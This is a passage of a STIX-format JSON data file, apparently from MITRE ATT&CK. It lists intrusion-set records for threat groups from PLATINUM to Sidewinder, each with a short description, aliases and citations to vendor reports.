                    "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.",
                    "source_name": "Symantec Orangeworm April 2018"
                }
            ],
            "aliases": [
                "Orangeworm"
            ],
            "modified": "2020-03-30T19:12:41.915Z",
            "created": "2018-10-17T00:14:20.652Z",
            "x_mitre_contributors": [
                "Elger Vinicius S. Rodrigues, @elgervinicius, CYBINT Centre"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "PLATINUM",
            "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) is an activity group that has targeted victims since at least 2009. The group has focused on targets associated with governments and related organizations in South and Southeast Asia. (Citation: Microsoft PLATINUM April 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0068",
                    "external_id": "G0068"
                },
                {
                    "source_name": "PLATINUM",
                    "description": "(Citation: Microsoft PLATINUM April 2016)"
                },
                {
                    "source_name": "Microsoft PLATINUM April 2016",
                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"
                }
            ],
            "aliases": [
                "PLATINUM"
            ],
            "modified": "2021-04-22T00:39:49.529Z",
            "created": "2018-04-18T17:59:24.739Z",
            "x_mitre_contributors": [
                "Ryan Becwar"
            ],
            "x_mitre_version": "1.3"
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "PROMETHIUM",
            "description": "[PROMETHIUM](https://attack.mitre.org/groups/G0056) is an activity group focused on espionage that has been active since at least 2012. The group has conducted operations globally with a heavy emphasis on Turkish targets. [PROMETHIUM](https://attack.mitre.org/groups/G0056) has demonstrated similarity to another activity group called [NEODYMIUM](https://attack.mitre.org/groups/G0055) due to overlapping victim and campaign characteristics.(Citation: Microsoft NEODYMIUM Dec 2016)(Citation: Microsoft SIR Vol 21)(Citation: Talos Promethium June 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0056",
                    "external_id": "G0056"
                },
                {
                    "source_name": "PROMETHIUM",
                    "description": "(Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)"
                },
                {
                    "source_name": "StrongPity",
                    "description": "The name StrongPity has also been used to describe the group and the malware used by the group.(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020)"
                },
                {
                    "url": "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/",
                    "description": "Microsoft. (2016, December 14). Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe. Retrieved November 27, 2017.",
                    "source_name": "Microsoft NEODYMIUM Dec 2016"
                },
                {
                    "source_name": "Microsoft SIR Vol 21",
                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
                    "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf"
                },
                {
                    "source_name": "Talos Promethium June 2020",
                    "url": "https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html",
                    "description": "Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."
                },
                {
                    "source_name": "Bitdefender StrongPity June 2020",
                    "url": "https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf",
                    "description": "Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."
                }
            ],
            "aliases": [
                "PROMETHIUM",
                "StrongPity"
            ],
            "modified": "2020-10-22T18:12:48.893Z",
            "created": "2018-01-16T16:13:52.465Z",
            "x_mitre_version": "2.0"
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Patchwork",
            "description": "[Patchwork](https://attack.mitre.org/groups/G0040) is a cyberespionage group that was first observed in December 2015. While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. [Patchwork](https://attack.mitre.org/groups/G0040) has been seen targeting industries related to diplomatic and government agencies. Much of the code used by this group was copied and pasted from online forums. [Patchwork](https://attack.mitre.org/groups/G0040) was also seen operating spearphishing campaigns targeting U.S. think tank groups in March and April of 2018. (Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork) (Citation: TrendMicro Patchwork Dec 2017) (Citation: Volexity Patchwork June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0040",
                    "external_id": "G0040"
                },
                {
                    "source_name": "Patchwork",
                    "description": "(Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork) (Citation: Securelist Dropping Elephant) (Citation: PaloAlto Patchwork Mar 2018) (Citation: Volexity Patchwork June 2018)"
                },
                {
                    "source_name": "Hangover Group",
                    "description": "Patchwork and the Hangover Group have both been referenced as aliases for the threat group associated with Operation Monsoon.(Citation: PaloAlto Patchwork Mar 2018)(Citation: Unit 42 BackConfig May 2020)(Citation: Forcepoint Monsoon)"
                },
                {
                    "source_name": "Dropping Elephant",
                    "description": "(Citation: Symantec Patchwork) (Citation: Securelist Dropping Elephant) (Citation: PaloAlto Patchwork Mar 2018) (Citation: Volexity Patchwork June 2018)"
                },
                {
                    "source_name": "Chinastrats",
                    "description": "(Citation: Securelist Dropping Elephant)"
                },
                {
                    "source_name": "MONSOON",
                    "description": "MONSOON is the name of an espionage campaign; we use it here to refer to the actor group behind the campaign. (Citation: Forcepoint Monsoon) (Citation: PaloAlto Patchwork Mar 2018)"
                },
                {
                    "source_name": "Operation Hangover",
                    "description": "It is believed that the actors behind Patchwork are the same actors behind Operation Hangover. (Citation: Forcepoint Monsoon) (Citation: Operation Hangover May 2013)"
                },
                {
                    "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf",
                    "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.",
                    "source_name": "Cymmetria Patchwork"
                },
                {
                    "url": "http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries",
                    "description": "Hamada, J.. (2016, July 25). Patchwork cyberespionage group expands targets from governments to wide range of industries. Retrieved August 17, 2016.",
                    "source_name": "Symantec Patchwork"
                },
                {
                    "source_name": "TrendMicro Patchwork Dec 2017",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"
                },
                {
                    "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/",
                    "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.",
                    "source_name": "Volexity Patchwork June 2018"
                },
                {
                    "url": "https://securelist.com/the-dropping-elephant-actor/75328/",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant \u2013 aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.",
                    "source_name": "Securelist Dropping Elephant"
                },
                {
                    "source_name": "PaloAlto Patchwork Mar 2018",
                    "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/"
                },
                {
                    "source_name": "Unit 42 BackConfig May 2020",
                    "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/",
                    "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."
                },
                {
                    "source_name": "Forcepoint Monsoon",
                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
                    "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
                },
                {
                    "url": "http://enterprise-manage.norman.c.bitbit.net/resources/files/Unveiling_an_Indian_Cyberattack_Infrastructure.pdf",
                    "description": "Fagerland, S., et al. (2013, May). Operation Hangover: Unveiling an Indian Cyberattack Infrastructure. Retrieved September 26, 2016.",
                    "source_name": "Operation Hangover May 2013"
                }
            ],
            "aliases": [
                "Patchwork",
                "Hangover Group",
                "Dropping Elephant",
                "Chinastrats",
                "MONSOON",
                "Operation Hangover"
            ],
            "modified": "2020-10-14T20:39:49.350Z",
            "created": "2017-05-31T21:32:07.145Z",
            "x_mitre_version": "1.3"
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "PittyTiger",
            "description": "[PittyTiger](https://attack.mitre.org/groups/G0011) is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control. (Citation: Bizeul 2014) (Citation: Villeneuve 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "external_id": "G0011",
                    "url": "https://attack.mitre.org/groups/G0011",
                    "source_name": "mitre-attack"
                },
                {
                    "source_name": "PittyTiger",
                    "description": "(Citation: Bizeul 2014) (Citation: Villeneuve 2014)"
                },
                {
                    "url": "https://airbus-cyber-security.com/the-eye-of-the-tiger/",
                    "description": "Bizeul, D., Fontarensky, I., Mouchoux, R., Perigaud, F., Pernet, C. (2014, July 11). Eye of the Tiger. Retrieved September 29, 2015.",
                    "source_name": "Bizeul 2014"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html",
                    "description": "Villeneuve, N., Homan, J. (2014, July 31). Spy of the Tiger. Retrieved September 29, 2015.",
                    "source_name": "Villeneuve 2014"
                }
            ],
            "aliases": [
                "PittyTiger"
            ],
            "modified": "2020-03-30T19:14:16.259Z",
            "created": "2017-05-31T21:31:50.198Z",
            "x_mitre_version": "1.1"
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Poseidon Group",
            "description": "[Poseidon Group](https://attack.mitre.org/groups/G0033) is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the [Poseidon Group](https://attack.mitre.org/groups/G0033) as a security firm. (Citation: Kaspersky Poseidon Group)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0033",
                    "external_id": "G0033"
                },
                {
                    "source_name": "Poseidon Group",
                    "description": "(Citation: Kaspersky Poseidon Group)"
                },
                {
                    "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.",
                    "source_name": "Kaspersky Poseidon Group"
                }
            ],
            "aliases": [
                "Poseidon Group"
            ],
            "modified": "2020-03-18T20:25:54.945Z",
            "created": "2017-05-31T21:32:04.179Z",
            "x_mitre_version": "1.1"
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Putter Panda",
            "description": "[Putter Panda](https://attack.mitre.org/groups/G0024) is a Chinese threat group that has been attributed to Unit 61486 of the 12th Bureau of the PLA\u2019s 3rd General Staff Department (GSD). (Citation: CrowdStrike Putter Panda)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0024",
                    "external_id": "G0024"
                },
                {
                    "source_name": "Putter Panda",
                    "description": "(Citation: CrowdStrike Putter Panda) (Citation: Cylance Putter Panda)"
                },
                {
                    "source_name": "APT2",
                    "description": "(Citation: Cylance Putter Panda)"
                },
                {
                    "source_name": "MSUpdater",
                    "description": "(Citation: CrowdStrike Putter Panda)"
                },
                {
                    "source_name": "CrowdStrike Putter Panda",
                    "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.",
                    "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"
                },
                {
                    "url": "http://blog.cylance.com/puttering-into-the-future",
                    "description": "Gross, J. and Walter, J.. (2016, January 12). Puttering into the Future.... Retrieved January 22, 2016.",
                    "source_name": "Cylance Putter Panda"
                }
            ],
            "aliases": [
                "Putter Panda",
                "APT2",
                "MSUpdater"
            ],
            "modified": "2020-03-30T19:15:04.771Z",
            "created": "2017-05-31T21:31:56.785Z",
            "x_mitre_version": "1.1"
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--c416b28c-103b-4df1-909e-78089a7e0e5f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "RTM",
            "description": "[RTM](https://attack.mitre.org/groups/G0048) is a cybercriminal group that has been active since at least 2015 and is primarily interested in users of remote banking systems in Russia and neighboring countries. The group uses a Trojan by the same name ([RTM](https://attack.mitre.org/software/S0148)). (Citation: ESET RTM Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0048",
                    "external_id": "G0048"
                },
                {
                    "source_name": "RTM",
                    "description": "(Citation: ESET RTM Feb 2017)"
                },
                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf",
                    "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.",
                    "source_name": "ESET RTM Feb 2017"
                }
            ],
            "aliases": [
                "RTM"
            ],
            "modified": "2020-05-12T22:16:44.650Z",
            "created": "2017-05-31T21:32:10.206Z",
            "x_mitre_contributors": [
                "Oleg Skulkin, Group-IB"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0075",
                    "external_id": "G0075"
                },
                {
                    "source_name": "Rancor",
                    "description": "(Citation: Rancor Unit42 June 2018)"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/",
                    "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.",
                    "source_name": "Rancor Unit42 June 2018"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "description": "[Rancor](https://attack.mitre.org/groups/G0075) is a threat group that has led targeted campaigns against the South East Asia region. [Rancor](https://attack.mitre.org/groups/G0075) uses politically-motivated lures to entice victims to open malicious documents. (Citation: Rancor Unit42 June 2018)",
            "name": "Rancor",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142",
            "type": "intrusion-set",
            "aliases": [
                "Rancor"
            ],
            "modified": "2020-03-30T19:15:49.217Z",
            "created": "2018-10-17T00:14:20.652Z",
            "x_mitre_version": "1.2"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "external_id": "G0106",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0106"
                },
                {
                    "source_name": "Talos Rocke August 2018",
                    "url": "https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html",
                    "description": "Liebenberg, D.. (2018, August 30). Rocke: The Champion of Monero Miners. Retrieved May 26, 2020."
                }
            ],
            "description": "[Rocke](https://attack.mitre.org/groups/G0106) is an alleged Chinese-speaking adversary whose primary objective appeared to be cryptojacking, or stealing victim system resources for the purposes of mining cryptocurrency. The name [Rocke](https://attack.mitre.org/groups/G0106) comes from the email address \"rocke@live.cn\" used to create the wallet which held collected cryptocurrency. Researchers have detected overlaps between [Rocke](https://attack.mitre.org/groups/G0106) and the Iron Cybercrime Group, though this attribution has not been confirmed.(Citation: Talos Rocke August 2018)",
            "name": "Rocke",
            "type": "intrusion-set",
            "id": "intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad",
            "aliases": [
                "Rocke"
            ],
            "modified": "2020-06-19T20:41:21.215Z",
            "created": "2020-05-26T14:20:20.623Z",
            "x_mitre_version": "1.0"
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Sandworm Team",
            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) is a destructive threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) This group has been active since at least 2009.(Citation: iSIGHT Sandworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Citation: USDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb 2020)\n\nIn October 2020, the US indicted six GRU Unit 74455 officers associated with [Sandworm Team](https://attack.mitre.org/groups/G0034) for the following cyber operations: the 2015 and 2016 attacks against Ukrainian electrical companies and government organizations, the 2017 worldwide [NotPetya](https://attack.mitre.org/software/S0368) attack, targeting of the 2017 French presidential campaign, the 2018 [Olympic Destroyer](https://attack.mitre.org/software/S0365) attack against the Winter Olympic Games, the 2018 operation against the Organisation for the Prohibition of Chemical Weapons, and attacks against the country of Georgia in 2018 and 2019.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) Some of these were conducted with the assistance of GRU Unit 26165, which is also referred to as [APT28](https://attack.mitre.org/groups/G0007).(Citation: US District Court Indictment GRU Oct 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0034",
                    "external_id": "G0034"
                },
                {
                    "source_name": "Sandworm Team",
                    "description": "(Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014) (Citation: InfoSecurity Sandworm Oct 2014)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)"
                },
                {
                    "source_name": "ELECTRUM",
                    "description": "(Citation: Dragos ELECTRUM)(Citation: UK NCSC Olympic Attacks October 2020)"
                },
                {
                    "source_name": "Telebots",
                    "description": "(Citation: NCSC Sandworm Feb 2020)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)"
                },
                {
                    "source_name": "IRON VIKING",
                    "description": "(Citation: Secureworks IRON VIKING )(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)"
                },
                {
                    "source_name": "BlackEnergy (Group)",
                    "description": "(Citation: NCSC Sandworm Feb 2020)(Citation: UK NCSC Olympic Attacks October 2020)"
                },
                {
                    "source_name": "Quedagh",
                    "description": "(Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014)(Citation: UK NCSC Olympic Attacks October 2020)"
                },
                {
                    "source_name": "VOODOO BEAR",
                    "description": "(Citation: CrowdStrike VOODOO BEAR)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)"
                },
                {
                    "source_name": "US District Court Indictment GRU Unit 74455 October 2020",
                    "url": "https://www.justice.gov/opa/press-release/file/1328521/download",
                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."
                },
                {
                    "source_name": "UK NCSC Olympic Attacks October 2020",
                    "url": "https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games",
                    "description": "UK NCSC. (2020, October 19). UK exposes series of Russian cyber attacks against Olympic and Paralympic Games . Retrieved November 30, 2020."
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html",
                    "description": "Hultquist, J.. (2016, January 7). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved October 6, 2017.",
                    "source_name": "iSIGHT Sandworm 2014"
                },
                {
                    "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-january-voodoo-bear/",
                    "description": "Meyers, A. (2018, January 19). Meet CrowdStrike\u2019s Adversary of the Month for January: VOODOO BEAR. Retrieved May 22, 2018.",
                    "source_name": "CrowdStrike VOODOO BEAR"
                },
                {
                    "source_name": "USDOJ Sandworm Feb 2020",
                    "url": "https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia//index.html",
                    "description": "Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved June 18, 2020."
                },
                {
                    "source_name": "NCSC Sandworm Feb 2020",
                    "url": "https://www.ncsc.gov.uk/news/ncsc-supports-sandworm-advisory",
                    "description": "NCSC. (2020, February 20). NCSC supports US advisory regarding GRU intrusion set Sandworm. Retrieved June 10, 2020."
                },
                {
                    "source_name": "US District Court Indictment GRU Oct 2018",
                    "url": "https://www.justice.gov/opa/page/file/1098481/download",
                    "description": "Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020."
                },
                {
                    "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf",
                    "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.",
                    "source_name": "F-Secure BlackEnergy 2014"
                },
                {
                    "url": "https://www.infosecurity-magazine.com/news/microsoft-zero-day-traced-russian/",
                    "description": "Muncaster, P.. (2014, October 14). Microsoft Zero Day Traced to Russian \u2018Sandworm\u2019 Hackers. Retrieved October 6, 2017.",
                    "source_name": "InfoSecurity Sandworm Oct 2014"
                },
                {
                    "source_name": "Dragos ELECTRUM",
                    "url": "https://www.dragos.com/resource/electrum/",
                    "description": "Dragos. (2017, January 1). ELECTRUM Threat Profile. Retrieved June 10, 2020."
                },
                {
                    "source_name": "Secureworks IRON VIKING ",
                    "url": "https://www.secureworks.com/research/threat-profiles/iron-viking",
                    "description": "Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020."
                }
            ],
            "aliases": [
                "Sandworm Team",
                "ELECTRUM",
                "Telebots",
                "IRON VIKING",
                "BlackEnergy (Group)",
                "Quedagh",
                "VOODOO BEAR"
            ],
            "modified": "2021-04-13T13:13:09.511Z",
            "created": "2017-05-31T21:32:04.588Z",
            "x_mitre_version": "2.0"
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Scarlet Mimic",
            "description": "[Scarlet Mimic](https://attack.mitre.org/groups/G0029) is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group's motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029) and [Putter Panda](https://attack.mitre.org/groups/G0024), it has not been concluded that the groups are the same. (Citation: Scarlet Mimic Jan 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0029",
                    "external_id": "G0029"
                },
                {
                    "source_name": "Scarlet Mimic",
                    "description": "(Citation: Scarlet Mimic Jan 2016)"
                },
                {
                    "source_name": "Scarlet Mimic Jan 2016",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
                }
            ],
            "aliases": [
                "Scarlet Mimic"
            ],
            "modified": "2020-03-30T19:16:53.144Z",
            "created": "2017-05-31T21:32:00.677Z",
            "x_mitre_version": "1.2"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "external_id": "G0104",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0104"
                },
                {
                    "source_name": "McAfee Sharpshooter December 2018",
                    "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf",
                    "description": "Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020."
                }
            ],
            "name": "Sharpshooter",
            "description": "Operation [Sharpshooter](https://attack.mitre.org/groups/G0104) is the name of a cyber espionage campaign discovered in October 2018 targeting nuclear, defense, energy, and financial companies. Though overlaps between this adversary and [Lazarus Group](https://attack.mitre.org/groups/G0032) have been noted, definitive links have not been established.(Citation: McAfee Sharpshooter December 2018)",
            "type": "intrusion-set",
            "id": "intrusion-set--5e78ae92-3ffd-4b16-bf62-e798529d73f1",
            "aliases": [
                "Sharpshooter"
            ],
            "modified": "2020-06-30T03:08:44.808Z",
            "created": "2020-05-14T21:40:31.089Z",
            "x_mitre_version": "1.0"
        },
        {
            "id": "intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e",
            "type": "intrusion-set",
            "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) is a suspected Indian threat actor group that has been active since at least 2012. They have been observed targeting government, military, and business entities throughout Asia, primarily focusing on Pakistan, China, Nepal, and Afghanistan.(Citation: ATT Sidewinder January 2021)(Citation: Securelist APT Trends April 2018)(Citation: Cyble Sidewinder September 2020)",
            "name": "Sidewinder",
            "external_references": [
                {
                    "external_id": "G0121",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0121"
                },
                {
                    "source_name": "T-APT-04",
                    "description": "(Citation: Cyble Sidewinder September 2020)"
                },
                {
                    "source_name": "Rattlesnake",
                    "description": "(Citation: Cyble Sidewinder September 2020)"
                },
                {
                    "source_name": "ATT Sidewinder January 2021",
                    "url": "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf",
                    "description": "Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."
                },
                {
                    "source_name": "Securelist APT Trends April 2018",
                    "url": "https://securelist.com/apt-trends-report-q1-2018/85280/",
                    "description": "Global Research and Analysis Team . (2018, April 12). APT Trends report Q1 2018. Retrieved January 27, 2021."
                },
                {
                    "source_name": "Cyble Sidewinder September 2020",
                    "url": "https://cybleinc.com/2020/09/26/sidewinder-apt-targets-with-futuristic-tactics-and-techniques/",
                    "description": "Cyble. (2020, September 26). SideWinder APT Targets with futuristic Tactics and Techniques. Retrieved January 29, 2021."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "aliases": [
                "Sidewinder",
                "T-APT-04",
                "Rattlesnake"
            ],
            "modified": "2021-04-21T12:32:46.791Z",
            "created": "2021-01-27T15:57:11.183Z",
            "x_mitre_contributors": [
                "Lacework Labs",
                "Daniyal Naeem, BT Security"
            ],
            "x_mitre_version": "1.0"
        },
        {
